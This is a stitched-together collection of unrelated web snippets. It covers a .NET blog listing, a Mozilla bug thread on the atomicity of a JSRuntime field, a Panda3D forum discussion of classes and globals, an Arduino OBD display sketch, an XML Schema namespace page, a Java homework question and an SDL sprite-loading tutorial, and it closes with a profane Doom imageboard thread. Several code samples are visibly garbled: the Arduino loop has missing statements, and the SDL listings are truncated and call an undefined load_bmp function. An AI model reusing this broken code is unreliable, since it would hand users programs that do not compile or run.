This code uses the System.Diagnostics namespace to open a specified URL in the users default web browser. There is some error checking in there incase the user has no default browser, so it should be fairly robust. The following code is the Click event of a LinkLabel called linkLabel1: private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { string webURL = ""; try ...
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Windows CE: Putting some control behind the serial debug menu
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Bruce Eitman
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WebConfig Information
Web.Config Information - Contains information that controls module loading, security configuration, session state configuration, application language and compilation settings. - Also contains application specific items such as database connection strings. - Must be placed in the root directory - The Web config can be placed in sub-directories but those configurations will only be made available to the files within that sub-directory. - Each web application in ASP.NET inherits thier base web.config...
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| 5/12/2008 4:05 PM | 0 Comments |
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Code Camp Vegas!!!
****Please Note********************************* This is not a formal announcement, nor is this a sure thing. We are in the "gauging interest and exploring feasability" stage. Code Camp Vegas may or may not happen in 2009... or ever. Please let us know your thoughts. ********************************************************************************* After scouring the area for a .NET user group and coming up empty, a couple of cohorts and myself are attempting to organize the first ever MidWest...
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| 5/12/2008 3:38 PM | 1 Comments |
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"Pimp My IDE": 101 Visual Studio tips, tricks, and add-ins
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Persist AutoPostback DropDownLists on Page Refresh
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| 5/12/2008 1:56 PM | 0 Comments |
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Data Contacts in WCF
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On a Quest to find a better ORM Framework
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Don't Make Your Users Handicapped!!
Some time back I was working on
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http://geekswithblogs.net/avotak/archive/2006/04/14/75159.aspx
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crawl-001
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refinedweb
| 2,008
| 67.89
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This came up in a conversation with Jason over IRC. The comment right above the packed gc-prefixed bools in struct JSRuntime warns against what went wrong with the patch for bug 308429. Wish I had read that when reviewing... /be
Created attachment 286312 [details] [diff] [review] v1, where I should have put this in the first place. Sorry I missed this as well.
Comment on attachment 286312 [details] [diff] [review] v1, where I should have put this in the first place. We should keep gc* members adjacent, if possible. But more important, do we want to interlock setting zeal with getting it? Igor, your thoughts are welcome. /be
Won't keeping them adjacent without padding change the shape of the runtime structure in an incompatible way?
We don't preserve binary compatibility for JSRuntime or any other such private structs. The JS API does not export such structs. The few in jsapi.h are arguably frozen, but we have extended some over time. We really don't promise ABI compat, only API compat. /be
It's worth noting that in the one case that we do have an extensible struct, there are explicit slots in which to put additional members (JSExtendedClass).
Comment on attachment 286312 [details] [diff] [review] v1, where I should have put this in the first place. >Index: jscntxt.h >=================================================================== >RCS file: /cvsroot/mozilla/js/src/jscntxt.h,v >retrieving revision 3.165 >diff -u -p -8 -r3.165 jscntxt.h >--- jscntxt.h 18 Sep 2007 01:22:20 -0000 3.165 >+++ jscntxt.h 26 Oct 2007 03:49:01 -0000 >@@ -187,22 +187,17 @@ struct JSRuntime { > /* > * NB: do not pack another flag here by claiming gcPadding unless the new > * flag is written only by the GC thread. Atomic updates to packed bytes > * are not guaranteed, so stores issued by one thread may be lost due to > * unsynchronized read-modify-write cycles on other threads. > */ > JSPackedBool gcPoke; > JSPackedBool gcRunning; >-#ifdef JS_GC_ZEAL >- uint8 gcZeal; >- uint8 gcPadding; >-#else > uint16 gcPadding; >-#endif > > JSGCCallback gcCallback; > JSGCThingCallback gcThingCallback; > void *gcThingCallbackClosure; > uint32 gcMallocBytes; > JSGCArenaInfo *gcUntracedArenaStackTop; > #ifdef DEBUG > size_t gcTraceLaterCount; >@@ -416,16 +411,20 @@ struct JSRuntime { > jsrefcount totalStrings; > jsrefcount liveDependentStrings; > jsrefcount totalDependentStrings; > double lengthSum; > double lengthSquaredSum; > double strdepLengthSum; > double strdepLengthSquaredSum; > #endif >+ >+#ifdef JS_GC_ZEAL >+ uint8 gcZeal; >+#endif > }; It is better to have something like jsrefcount as the type for gcZeal that is guranteed to be atomic. r+ with that fixed.
Created attachment 286597 [details] [diff] [review] With Igor's and Brendan's feedback
Checking in js/src/jscntxt.h; /cvsroot/mozilla/js/src/jscntxt.h,v <-- jscntxt.h new revision: 3.169; previous revision: 3.168 done
What platforms do we support where single-byte writes are non-atomic?
(roc wants to know for bug 404870 -- see the "nsThread fix" patch there.)
on x86 single-byte writes are not atomic unless you use special atomic instructions... but a quick google search couldn't find the reference to the paper about this.
Hans Boehm seems to suggest they are atomic: He's an expert on this stuff, but I'd like to see a real reference one way or the other...
For what it's worth, this Microsoft article seems to agree: "On all modern processors, you can assume that reads and writes of naturally aligned native types are atomic."
This will be wanted on the 1.8 branch if bug 308429 is taken
Should clear the wanted/blocking flags on these bugs, as they are replaced for the 1.8 branch by the rollup patch in bug 426628.
except that the bug description there doesn't mention this problem which means it would be very easy for QA to miss verifying parts of the fix. In the case of this bug it might not matter much, but if there were a testcase here we definitely leave bugs like this on the blocking list on purpose even when fixed by a patch in another bug.
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https://bugzilla.mozilla.org/show_bug.cgi?id=401188
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CC-MAIN-2017-34
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refinedweb
| 649
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Text file stores information of any level. This is something like a database. You can store whatever you want, but it’s worth noting that you first ensure the logical use of data in your classes.
Can you tell us more about the special code?
Text file stores information of any level. This is something like a database. You can store whatever you want, but it’s worth noting that you first ensure the logical use of data in your classes.
I have no special code, sorry, I attempted to understand your first post and was asking if you were suggesting the use of a normal txt file containing code readable only by the script, which I assumed your first post said.
In fact, the data in the file are not code. This is a data set for building a level, it contains transformations and other information. I think I will make a sample code.
“serega-kkz”: instructions for code to play out like a sequence or set of events, right?
“rdb” and “Thaumaturge”: your method was working up to the point where I got the “AttributeError: Room’ object has no attribute ‘loader’”, “Room” being the level script and “loader” being load model function and I figured out why I got it.
But here is the issue, problem seems to stem on the fact that function has the attribute “self” in front of it, and from I can get is, the program is trying to access the self attribute of it’s own namespace rather then one from my main code, I would just get rid of it, but there are some dependencies on it, so I ask, is there way to pass the self attribute from the main code’s namespace to my level scripts’s?
I’m not quite sure of what you’re trying to do that might be a problem for classes. Classes can be instantiated multiple times without trouble–something like this, given a class named “MyClass”:
def someFunction(): myInstance1 = MyClass(<parameters, if any>) myInstance2 = MyClass(<parameters, if any>)
We then have two instances of the same class.
(They’ll be lost once the function exits, of course, but you already know about that. I’m just giving a very simple example of instantiating two instances of a class.)
You don’t need to, if I’m not much mistaken: “loader” is a global variable, and should be available without a reference like “self”.
However, in general, “self” is in essence just another parameter, like any other passed to a function or method. It doesn’t even have to be named “self”, if I’m not much mistaken. It just happens to be one that’s (usually) automatically filled in by Python for you, providing a reference to the class to which the method belongs.
As to getting access to the main object that you’re using, you can just pass in a reference to it like any other parameter.
For example, let’s say that your “main class” is called “Game”, and we’ll stick to the name of your “Room” class. Then we might have something like this:
class Game(): def __init__(self, <other parameters, if called for): # Initialisation here def someFunctionThatAccessesRoom(self, <parameters, if called for>): # Perhaps this is your task, perhaps it's something else; it shouldn't matter # Since this method belongs to "Game", "self" here will refer to the # instance of "Game" to which it belongs someRoomObject.someRoomFunction(self) class Room(): def __init__(self, <parameters, if called for>): # Initialisation here def someRoomFunction(self, game): # Note that the game is the >second< parameter here. As always, the first # parameter to an instance function, here called "self", is automatically # filled in by Python with a reference to the instance--in this case a reference # to the instance of the "Room" class associated with this call. Any parameters # passed in manually, as the "Game" instance was above, follow after that. self.someVariable = game.someOtherVariable
All of that said, you may find this a little awkward at times. In that case, you may find it worthwhile to create a “common” object or file that can be included in any other, and give access to frequently-used objects, like the game, or the current level.
My example of the control level, which I came to gradually. However, I note that this approach is classic. I use the task manager to make the download bar work. I store all the data in INI text format, simply using it in a non-standard way, using value separation. This allows you to put more information in one line. Or it also allows using named access to a string, this is useful for developing a third-party level editor.
Demo_Level_Load.zip (89.5 KB)
“Thaumaturge”: what I mean is I’m under the impression that the class only runs once, but after having a look at the ShowBase section of the manual, I may be the one confused, since I learned that the “run” command is panda3d’s loop. but it does not explain some things I seen happen in the game if the class was repeated, I,m going to try your code example for a “update function” that I will make.
With the loader issue, I actually used the “from main import *” line I got from someone at “stackoverflow” and it worked for the global variables, but I concerned because there are others like the "self.taskMgr.add:, “self.accept(“fr-again-in”, self.function)”, “self.render”, “self.camera” and so on, your suggestion seems to focus on functions, but I also have code in the sub-class itself that needs the main class’s self.
“serega-kkz”: from your demo, yes I got the impression that you mean using a algorithm to read text from a txt file, sorry I worded it badly earlier, but that is what I was trying to say, but this demo is impressive, it has concepts that I was going to implement later, like the load bar and menu, not to mention, your text method, it’s good, and I may actually implement it in my save functions later.
I could also imagine rewriting my code to utilize algorithms, to use it like you suggested, but then I have look at my functions and plan them out carefully, as I add and customize them on the fly, it is something for me to think about, thank you for the demo, it is programming treasure trove, and something I will be looking more into.
Ah, I see. Yeah, “run” in this context is just a method of the ShowBase class, which is called to start Panda’s main loop, I believe.
Well, show us an example of your code, and tell us what odd behaviour you’re seeing, and we may be able to tell you what the problem is. I will say that I make extensive use of classes, and they can work, I do believe.
Ah, yeah… I’m not sure that I’m a fan of that idea. That will import everything from the “main” module. If you really want to have some globally-accessible elements, I’d suggest separating them out into a “Common” file, and importing “*” from that.
Indeed, the “self” variable is local to a given method; it’s not globally available. Indeed, it’s not all that special–it’s really just a parameter to the method, albeit one that Python fills in for you (generally).
In this specific case, much of what you’re looking to have access to is already made globally available by Panda without the use of “self”.
To start with, you can generally access “render” just like that. As to the others, if you’re using the “run” method of “ShowBase” to start your game, then you should have access to a global variable (provided by Panda, that is) named “base”, which allows access to the methods of ShowBase–i.e. you should be able to write “base.cam”, “base.accept”, etc.
I think that I see what you mean. But remember: “self” is just a local variable that stores a reference to the class to which the function or method in question belongs. That’s all. What you want is access to a reference to the main class.
Now, if the main class is calling some method or function of the other class, then it can just pass in a reference to itself, as I showed above.
However, if there’s no such clear connection, then it might be worth storing a reference to your main class in a global variable, and using that. (I know that I’ve done so.)
(Come to think of it, if your “main” class is a sub-class of ShowBase, and you’re using its “run” method, then you may already have global access to it via Panda’s automatically-provided global variable “base”.)
However, I advise that you use such global variables sparingly: having lots of global variables could become a pain to manage, I fear. Where reasonable, I recommend passing references in as parameters.
Again, perhaps it would help if you showed us some of your code–that might make it easier for us to give more-specific advice,
He may have a problem with the code examples. The fact is, if your class is used:
from direct.showbase.ShowBase import ShowBase
Obliges to use self.
import direct.directbase.DirectStart
Obliges to use base
Examples of using code in DirectStart or using ShowBase. Leads to a dead end when you need to combine several code demonstrations with different implementations. Using global variables is not necessary with ShowBase. Although DirectStart imposes the use of global.
I think DirectStart should be excluded from the textbooks.
I’m pretty sure that you can use “base” if your main class is a sub-class of “ShowBase”–in fact, a quick check indicates that I’m doing so myself in at least two projects.
Yeah, the presence of two approaches in the samples could well lead to some confusion, I fear.
:/
For the main class, you’re probably correct–but it can still be useful elsewhere. For example, I sometimes use it as a quick way to gain access to the current level.
You could probably get away with not using globals by passing in references to the game just about everywhere–but that would likely become rather tiresome!
I think that the current recommended method is sub-classing ShowBase. If so, then it would probably help indeed for the various resources to stick consistently to that one method.
I just wanted to say in my post that newcomers are constantly stumbling over this.
Although I like to use
import direct.directbase.DirectStart
Fair enough, on both counts!
Myself, I don’t think that I use “DirectStart” at all these days–a quick search suggests that the only place that I have it is in old projects, made before I moved over to sub-classing from “ShowBase”.
For the record, importing DirectStart is exactly equivalent to:
from direct.showbase.ShowBase import ShowBase ShowBase()
The ShowBase constructor writes
base to the built-in scope.
Far be it from me to criticise anyone for their approach to programming, but I do personally avoid the use of globals as much as possible; I think it’s perfectly possible to avoid them by structuring your classes well. For example, you can pass in a reference to a World class to your WorldObject class, so that they can do operations with respect to the world they are in, parent themselves to the World’s root, etc.
I prefer to use functions, and it is not clear to me why it is necessary to create classes in Panda3D, at a time when this is not necessary. And the transfer of constantly referencing, sooner or later leads to a tangled tangle of threads. Sometimes it is easier to create a new code than to understand
Using the built-in scope reduces many access problems and reduces the number of lines of code.
It’s possible, and I do prefer doing so in general, but it can become unwieldy at times, in my experience. That was why I started using a “Common” object that provides sort-of global access to a few commonly-used things.
I think that it really is a matter of what you prefer, and what works better for you. For myself, I find that classes fit well with the way that I think, and so make it easier for me to keep everything organised and (relatively) neat.
Thaumaturge: You may have to wait on your request for a example, because my script is mess right now as I,m still implementing the multiple scene function, but I will post it after I,m done though. though I think you may be right for separating functions into files. though, I,m worried about compiling, may I ask? how does panda compile games?
Do the python scripts retain their code form or are they compiled into machine code like C++, because from research, I found out that C++ does not retain it’s original form, and is compiled into machine code like assembly, so if I separated them into multiple files would the import functions fail because it is no longer python script?
So self, would need to be replaced with base then, thanks, I will use this in the future.
serega-kkz: I used showbase because I copied a lot of the roaming ralph demo’s code to jumpstart my game, I have seen some demo use Directstart, but from I can get of what you are saying is, showbase is more automatic? because you don’t have to add a method in front and just use self?
rdb: so showBase is automatic? I use global variables because they can be altered by functions, but also because they are referenced first for code needing to check for a variable before it is declared, I keep getting a “store your variables in a class” vibe, and it sounds I like a good idea, but I need to test out the class if it repeats or not first.
Hahah, fair enough! Of course, you could always put together a small script to demonstrate a specific issue–such as the example that I intend to request further down this post.
You don’t need to worry about that: your imports should continue to work perfectly well, I believe. (Again, I’ve made and distributed multi-file projects myself, and so speak from experience.)
As to whether it’s compiled… I’m a little shaky on the specifics of this myself, but ultimately it’s not something that you’re likely to have to worry about. Python deals with everything below the “source code” level, and it seems to work well.
I’ll leave a more-detailed description to someone who knows the internals better than I!
Note also, by the way, that while C++ is compiled into a much lower level, multi-file C++ programs still work after being compiled.
Class instances and local variables can be altered by functions, too–it just calls for giving the function a reference to the variable in question.
This really confuses me. What is it that you do with functions and global variables that you’re concerned that you can’t do with classes? Could you show us a bit of example code–even if it’s not a whole program–that demonstrates what you mean?
[edit]
Honestly, if functional programming works better for you, then stick with it!
Myself, I find that classes work very well for me–but that may not be the case for you.
I’m not sure of how you might keep your variables organised in a functional approach to programming–I’m not as familiar with it.
I do encourage you to try out classes (i.e. “object-oriented programming”) if you haven’t previously, because you might find that they work for you. But if you have tried them, and they don’t fit well with the way that you think, then I daresay that you can stick with functional programming.
(With the minor caveat that you will encounter classes in using Panda, as Panda’s various elements are generally classes that you’re intended to create instances of.)
I think you expects the panda to create classes at each iteration of the loop. The answer will be negative if you did not explicitly specify this using the task manager or the for loop. It’s also easy to check use print.
But… the same would be true of a call to a function, would it not? The computer won’t do something that it’s not told to do, after all.
Unless they’re thinking of a function passed in to the task manager, being “repeated” by the task system–in which case one could just pass in a method belonging to the relevant class.
I’m very hesitant to speculate further, because I really don’t know what’s meant, and so fear that advice given under the wrong assumptions may mislead, or miss the point.
Thaumaturge: heh heh heh, well, I actually don’t fully remember why I went with global variables and why I think classes don’t repeat themselves, since I have been working on this 3 months straight, but it is notion I got somewhere, that is why it is untested (I test it tomorrow though, just been vary busy adding features)
I guess you can chalk it up to laziness on my part as I have been just going forward, I do apologize for confusion though, but classes do sound better for organization though. So should I just post some code bits in my posts? or do you want a script file?
serega-kkz: no, I mean the “return Task.cont” function that allows a task manger function to repeat endlessly.
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#include <LiquidCrystal.h>LiquidCrystal lcd(26,28,30,32,34,36);//This is a character buffer that will store the data from the serial portchar rxData[20];char rxIndex=0;//Variables to hold the speed and RPM data.int vehicleSpeed=0;int vehicleRPM=0;void setup(){ lcd.begin(4, 20); Serial.begin(9600); //Clear the old data from the LCD. lcd.clear(); //Put the speed header on the first row. lcd.setCursor(0,0); lcd.print("Speed: "); //Put the RPM header on the second row. lcd.setCursor(0,1);();}void loop(){ //Delete any data that may be in the serial port before we begin. Serial.flush(); /.setCursor(10,0); lcd.print(vehicleSpeed); lcd.setCursor(16,0); lcd.print("km/h"); delay(100); //Delete any data that may be left over in the serial port. Serial.flush(); /.setCursor(10,1); lcd.print(vehicleRPM); //Give the OBD bus a rest delay(100); ; } } }}
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Arduino
via Egeo 16
Torino, 10131
Italy
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12 September 2007
This document describes the XML Schema namespace. It also contains a directory of links to these related resources, using Resource Directory Description Language.
It is GRDDL-enabled, that is to say that a GRDDL-compliant processor can extract useful RDF representations of the information contained herein.
XML Schema Part 2: Datatypes advertises anchors within this document for all the datatypes, all the kinds of constraining facets and all the uses of facets found therein. This section contains all those anchors, with forwarding pointers to the relevant anchor in the spec.
Instances of constraining facets are used in the definitions of many of the built-in datatypes.
This list includes all elements whose declarations are covered in the REC (except those which are used to represent constraining facets, which already appear above).
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After I ask the user to enter a number here
System.out.println("Enter a number");
number = scan.nextInt();
I would like print the id of each salesperson that exceeded that value and the amount of their sales. I Also want to print the total number of salespeople whose sales exceeded the value entered. So I would think I would need some kind of for loop and several print statements. This is what I am thinking for my for loop.
for (int i=0; number<i; i++)
Line 1 to line 56 is good. After that is where I am trying to put my for loop.
//**************************************************************** // Sales.java // // Reads in and stores sales for each of 5 salespeople. Displays // sales entered by salesperson id and total sales for all salespeople. // // **************************************************************** import java.util.Scanner; public class Sales { public static void main(String[] args) { final int SALESPEOPLE = 5; int[] sales = new int[SALESPEOPLE]; int sum; Scanner scan = new Scanner(System.in); for (int i=0; i<sales.length; i++) { System.out.print("Enter sales for salesperson " + (i+1) + ": "); sales[i] = scan.nextInt(); } System.out.println("\nSalesperson Sales"); System.out.println("--------------------"); sum = 0; int maximum = sales[0]; int minimum = sales[0]; int a=1, b=1; for (int i=0; i<sales.length; i++) { if(maximum < sales[i]) { maximum = sales[i]; a = i+1; } if(minimum > sales[i]) { minimum = sales[i]; b = i+1; } System.out.println(" " + (i+1) + " " + sales[i]); sum += sales[i]; } System.out.println("\nTotal sales: " + sum); System.out.println("The average sale is: " + sum / SALESPEOPLE ); System.out.println("The maximum sale is: " + maximum + " by Salesperson " + a ); System.out.println("The minimum sale is: " + minimum + " by Salesperson " + b ); int number; System.out.println("Enter a number"); number = scan.nextInt(); System.out.println("The number you entered is " +number); System.out.println(sales); for (int i=0; number<i; i++) { System.out.println(+ sales[i]); } //if(number < sales[i]) //System.out.println( + SALESPEOPLE); } }
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Game programming has come a long way since early Linux and Windows days. The time is gone when games were limited to Windows or to an extended Mac. Today portability is in the forefront, even in the gaming segment. The birth of OpenGL was the first step in this regard. But OpenGL addressed only the rendering aspect of game programming. The major part, that is communicating with varied input devices, was left to the operating system. That is the reason for the existence of various extensions to OpenGL, including GLUT (platform independent), MESA (OpenGL extension for *nix systems) and WOGL (OpenGL extension for Windows).
Each of these has its own pros and cons. If a library is OS independent, then it is limited in utilization of all the available resources. If it is able to harness the power of the underlying system, then such a library is platform dependent. Apart from portability issues, all the existing libraries left the task of developing the gaming infrastructure on the shoulders of the developer. It was during such times of extreme choices that SDL came into picture.
SDL (Simple Directmedia Layer) is a library "by the game programmers for the game programmers." Hence it doesn’t try to achieve the "unachievable" by starting from scratch. Instead it is built upon the existing libraries for each OS, i.e. it uses DirectX for Windows and XWindows APIs for *nix systems. Additionally, SDL provides for all the infrastructure needs of a varied range of games.
In this discussion, I will focus on setting up SDL and accessing one of its many infrastructure facilities — loading a sprite. In the first section I will enumerate the infrastructure services. The second section will focus on the initializing the video to achieve the best resolution. In the third section, I will discuss how to load a bitmap using SDL APIs. The third section will also detail the real world implementation of using an SDL API for sprite loading.
{mospagebreak title=SDL: The Services Provided}
The implementation works in such a way that it never gets in the way of a programmer’s code, as is evident from the services provided by SDL. In a nutshell one can say that it follows the philosophy of SMILE (Simple Makes It a Lot Easier) which is evident from the following services provided by it:
- Initialization and Shutdown
- Input processing
- Timers
- Sound effects
- Graphics manipulation
- Network integration
- Threading requirements
Of these services, the first five are the basis of any game. SDL makes dealing with each of them easier. Let’s see how.
- Initialization and Shutdown:
Whenever a game starts, it must perform initialization routines including memory allocation, resource acquisition, loading any required data from the disk, and so forth. To perform these routines, the programmer has to query the underlying OS to know the boundaries set by it. To achieve this end some code must be written, and code must be written again to use the result of the query. SDL abstracts this with a single function: SDL_Init().
- Input Processing:
In a gaming environment the input can come from the keyboard, joystick, mouse and so on. The processing model provided by SDL is event based. Anyone who has worked in VB, Delphi or Xlib (or any of its variants) will feel at home with SDL’s event model. The base of this model is the SDL_WaitEvent() method that takes SDL_Event as a reference.
- Timers:
Without timers it is nearly impossible to imagine any challenging game. If one goes by standard methods, one would have to rely on the timers provided by the platform. But with SDL, this is a thing of past. The Time and Timer APIs provided by it are lean, mean and clean in a platform and OS independent way. SDL_getTicks() is the core of the SDL Timer API.
- Sound Effects:
As with other functionalities provided by SDL, the functionalities related to sound are provided with minimum hassles. The sound support as a core sub-system is minimal in nature, adhering to the keep-it-lean philosophy of SDL. But there are other libraries that provide extended capabilities around SDL’s APIs.
- Graphics Manipulation:
With SDL one has the option of working at the raw pixel level or at a higher level using OpenGL. Since OpenGL is available for every platform and it can render both 2D and 3D graphics in hardware accelerated mode, it is better to use OpenGL in conjunction with SDL.
- Networking Requirements:
Like other functionalities, networking is also important in the current genre of games. Understanding this importance, the developers of SDL provided an APIs that does the ground-level work to set up the network connections and manage them, thus making networked multiplayer games less of an enigma.
- Threading Requirements:
The pthreads library provided by POSIX is a platform independent way of working with threads. But the API works at a low level, which can be confusing. To make threading simpler, SDL provides all the required functionalities in a high-level manner.
In essence, SDL provides for all gaming requirements in a simple and portable way. Now that the introduction to the functionalities is out of our way, we can actually see how the theory works by looking at how handling the video subsystem works.
{mospagebreak title=Working with Video the SDL Way}
When working with gaming libraries, one has to drop into system specific APIs(Win SDK on Windows and Xlib and et al on *nix) to access the video related functionalities. These functionalities include initializing the video, setting the best video mode and loading the bitmapped images among other things. But SDL encapsulates all these within the video sub-system. The functions that provide access to these are SDL_Init() and SDL_SetVideoMode.
SDL_Init() initializes the sub-system that has been passed as parameter. To initialize video the parameter would be SDL_INIT_VIDEO. To elucidate:
SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO)
would initialize video as well as audio.
Once the video is initialized, the next obvious step is setting the best video mode. To achieve this end, SDL contains a method called SDL_SetVideoMode. This method sets up a video mode with specified width, height and bits per pixel i.e. depth. In short using this function one could set up the required resolution. The parameters include width, height, bpp (bits-per-pixel) and flags. The first three parameters take integer values. They represent height, width and depth of the screen respectively.
The fourth parameter needs some consideration. The flags parameter defines the properties of the surface of the screen. They are eleven in number. The important and most commonly used are:
a. SDL_SWSURFACE:
This instructs SDL to create the surface in the system memory. In other words, the rendering area is created using a software renderer. This is useful when support for software-based acceleration is on cards.
b. SDL_HWSURFACE:
To create a surface in hardware memory i.e. the memory of the graphics card, use this value as the flag value. In other words, to support hardware acceleration use this value. It can be used with SDL_SWSURFACE to support both.
c. SDL_ANYFORMAT:
When the passed depth value is unsupported on the target machine, then SDL emulates it with a shadow surface, i.e. to emulate required depth, SDL would use shadows. To prevent this pass SDL_ANYFORMAT as the flag value. By using SDL_ANYFORMAT, SDL can be instructed to use the video surface even if the required depth is not available.
d. SDL_DOUBLEBUF:
This flag enables hardware double buffering. The double buffering works only if called with SDL_HWSURFACE. Otherwise when the flipping function is called only updating of the surface takes place.
e. SDL_OPENGL:
This flag creates an OpenGL rendering context. This is useful when SDL is used in conjunction with OpenGL.
f. SDL_FULLSCREEN:
By passing this as the flag value, the mode could be changed to full screen. If SDL is unable to do so, it will use the next available higher resolution. But the window will be centered on a black screen.
g. SDL_NOFRAME:
To show the window without decoration (without the title bar and frame decoration), use this as the value. By setting SDL_FULLSCREEN as the flag value, this flag is automatically set.
All the above values are the same as that of SDL_Surface. The SDL_SetVideoMode() function returns a pointer to the structure SDL_Surface. Now let’s see how to use it in a program.
#include "SDL.h"
#include<stdio.h>
int main(int argc,char* argv[])
{
SDL_Surface );
}
}
If you recall, most of the above code covers the same ground as I discussed earlier in this article. The parts I want to focus on are set in bold. First a point to the structure SDL_Surface is declared. When the video mode is set, this comes into the picture. Then the video is initialized using SDL_Init(). If initialization fails, then exit the application.
As I said before, the function to set video mode returns a pointer to the initialized SDL_Surface structure. The above code sets the resolution at 640×480 at 8 bit depth. It also sets the rendering to software based, i.e. the surface is created in system memory and not in the graphics card’s memory. Now that video mode has been set we can move to the next section, which will cover loading a bitmap onto the returned surface.
{mospagebreak title=SDL in Real World: Loading Sprites}
In a game a sprite can be anything from an image to a 3-D model. To keep things simple, let’s consider a bitmap as a sprite. In SDL loading a bitmap is like loading a file and reading its content using the standard C library.
To load a bitmap onto the surface the following functions come handy:
- SDL_LoadBMP:
This function forms the basis of loading a bitmap. It returns a pointer to the surface for the name of the bitmap given as the parameter. If the loading of the bitmap has not been successful, null is returned. For example, if the file parameter is "Tux.bmp," then the following code will load it:
SDL_Surface *image=SDL_LoadBMP("Tux.bmp");
- SDL_SetColors:
The default palette would be an 8x8x4 color cube. To get better color matching we must palletize the image itself. For this the SDL_Setcolors function is quite useful. The first parameter is the surface for which the palette has to be created, second parameter is the SDL color component which decides the number of displayable colors. The third and fourth parameters set the range of colors to be used.
To palletize the loaded image, the first parameter would be the surface returned by SDL’s initialization routine, the second is the color component of the image to be palletized, the third would be 0 (that would be the lower range of the colors to be used), and the maximum value of the color palette of the image would be the fourth parameter. To put it in code:
SDL_SetColors(screen, image->format->palette->colors, 0,image->format->palette->ncolors);
where screen is the surface returned by the initialization and image is the loaded bitmap.
- SDL_BlitSurface:
This function performs a fast blit from the source surface to the destination surface. The parameters are source surface, source rectangle, destination surface and destination rectangle. If the source and destination rectangle are specified as null, the entire surface is copied. For example the following code copies the loaded image surface to the screen surface:
SDL_BlitSurface(image, NULL, screen, NULL);
- SDL_UpdateRect:
Once the loaded image surface is copied onto the screen surface, it must be ensured that the screen display is updated accordingly. The surface to be updated is the first parameter, the rectangle of the screen to be updated is specified as the second parameter. The following fragment updates the screen according to the height and width of the loaded image:
SDL_UpdateRect(screen, 0, 0, image->w, image->h);
- SDL_FreeSurface:
Once work is completed with the loaded image, the surface has to be freed so that the memory occupied by the surface is released. To free a surface, SDL library contains SDL_FreeSurface. The parameter is the surface to be freed. In code it would be:
SDL_FreeSurface(image);
where image is the surface to be freed.
Now that the functions to be used have been introduced, let’s see them in action. First define a function that loads a bitmap image passed to it as a parameter.
void display_bmp(char *file_name)
{
SDL_Surface *image;
/* Load the BMP file into a surface */
image = SDL_LoadBMP(file_name);
if (image == NULL) {
fprintf(stderr, "Couldn’t load %s: %sn", file_name, SDL_GetError());
return;
}
/*
* Palettized screen modes will have a default palette (a standard
* 8*8*4 colour cube), but if the image is palettized as well we can
* use that palette for a nicer colour matching
*/
if (image->format->palette && screen->format->palette) {
SDL_SetColors(screen, image->format->palette->colors, 0, image->format->palette->ncolors);
}
/* Blit onto the screen surface */
if(SDL_BlitSurface(image, NULL, screen, NULL) < 0)
fprintf(stderr, "BlitSurface error: %sn", SDL_GetError());
SDL_UpdateRect(screen, 0, 0, image->w, image->h);
/* Free the allocated BMP surface */
SDL_FreeSurface(image);
}
As you can observe the code is a compilation of all the functions I had discussed earlier. The only difference is that error handling code has been used. To use it first declare a global variable of the type SDL_Surface:
SDL_Surface *screen=NULL;
Then call the display_bmp() as follows:
int main(int argc,char* argv[])
{
/*variable to hold the file name of the image to be loaded
*In real world error handling code would precede this
*/
char* filename="Tux.b);
}
/* Now call the function to load the image and copy it to the screen surface*/
load_bmp(filename);
}
That brings us to the end of this part of the discussion on SDL. In the next part I will discuss working at the pixel level and handling keyboard events as well as details of the initialization of SDL itself. Till next time…
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DOOM THREAD / RETRO FPS THREAD - Last thread >>2900938
Mostly Doom, but all retro FPS6b)
Vanilla/Boom:
ZDoom:
/idgames:
/idgames torrent (as of 2013-11-25; 12GB):
## Our WADs can be found here! ##
## /VR/DOOM COMMUNITY PROJECT ##
Make a Boom map for Doom 1. Announcement/Rules
===NEWS===
[01-10] PrBoom-Plus 2.5.1.4 released
[01-09] Doom Retro v2 released
[01-08] Gameinformer talks Doom for about 17 minutes
[01-06] Gameinformer article on Doom4
[01-06] Anon map release: A Morte (for Hexen, early WIP)
>>2899061
[01-04] Anon mod release: Gun Godz adaptation (alpha)
>>2894957
[01-03] Anon mod release: Custom difficulties
[01-01] Demonsteele v0.9 released: new character, lots of bugfixes
[12-31] Brutal Doom v20b + starter pack released
[12-30] Anon map release: Engineering Deck (for /vr/E1)
>>2884990
[12-30] Anon map release: "just a big room with a cyber demon on steroids"
>>2884008
[12-29] Anon map release: Wait What
>>2883410
[12-27] Arcane Dimensions released (Quake)
[12-26] Anon map update: Buttghost, almost final version
>>2877793
[12-26] Doom on a Leapfrog TV
===
To submit news, please reply to this post.
>>2907693
I've always lost it to this fucking gif everytime
How do cacodemons open doors?
>>2907750
Very carefully.
i don't trust this.
>>2907763
i do not trust this.
>>2907767
I DO NOT TRUST THIS.
>>2907773
I
DO
NOT
TRUST
THIS
.
get to the point already
>>2907778
a secret has been revealed
>>2907763
>>2907767
>>2907773
>>2907778
>>2907778
>>2907773
>>2907767
>>2907763
Out of place textures? That clearly means it's a Terry WAD.
>>2907763
>>2907767
>>2907773
>>2907778
I have a crippling fear of screamers, is this a common thing on doom wads?
>>2907831
Not really, no.
What an agitating experience
MAP02 of a project I'm working on.
>>2907836
Revenant be like LMAO I TROLE U
>>2907836
Spooky
>>2907843
Heh
>>2907843
I wish I weren't such a lazy hack. Playing around with the camera like you did doesn't seem like it would be complicated to do but I don't actually know how to do it. I also need to re-learn GZDoomBuilder to an extent as well, then I could probably get my project off the ground instead of always daydreaming about it.
>wad was made in 1995
>it predicted what the internet is now
>>2907815
>>2907831
it's not a terry wad & no there's no screaming.
unless it's a demon
>>2907856
shoot it
>>2907750
Prehensile Tongues?
>>2907836
normally when that happens to people it's indicative of them playing the map incorrectly, e.g. using jumping on a map not designed for it, and skipping linedefs as a result. but unfortunately in that case there's no excuse, you can walk right up to the grave and fall in the invisible pit. it is assumed you see the plasma gun and scurry over to it without walking around. an unexpectedly sloppy design.
How come there is no BANE.WAD?
Ok, I'm gonna ask a question that fills me with shame, how the fuck do you get out of the first room of the Hell on Earth wad in the Brutal Doom starter pack?
>>2907906
kick or shoot the broken switch
>>2907906
Nevermind, I figured it out. I'm an idiot.
>>2907908
Thanks, I feel like an idiot for how long it took me to figure that out.
Is Hideous Defector only compatible with GZDoom or does Zandronum or something work better for coop?
>>2907750
In map editors, one can set doors to have a "Monsters Activate" flag so that monsters actively looking for you from behind the door can open it to find you.
>>2907964
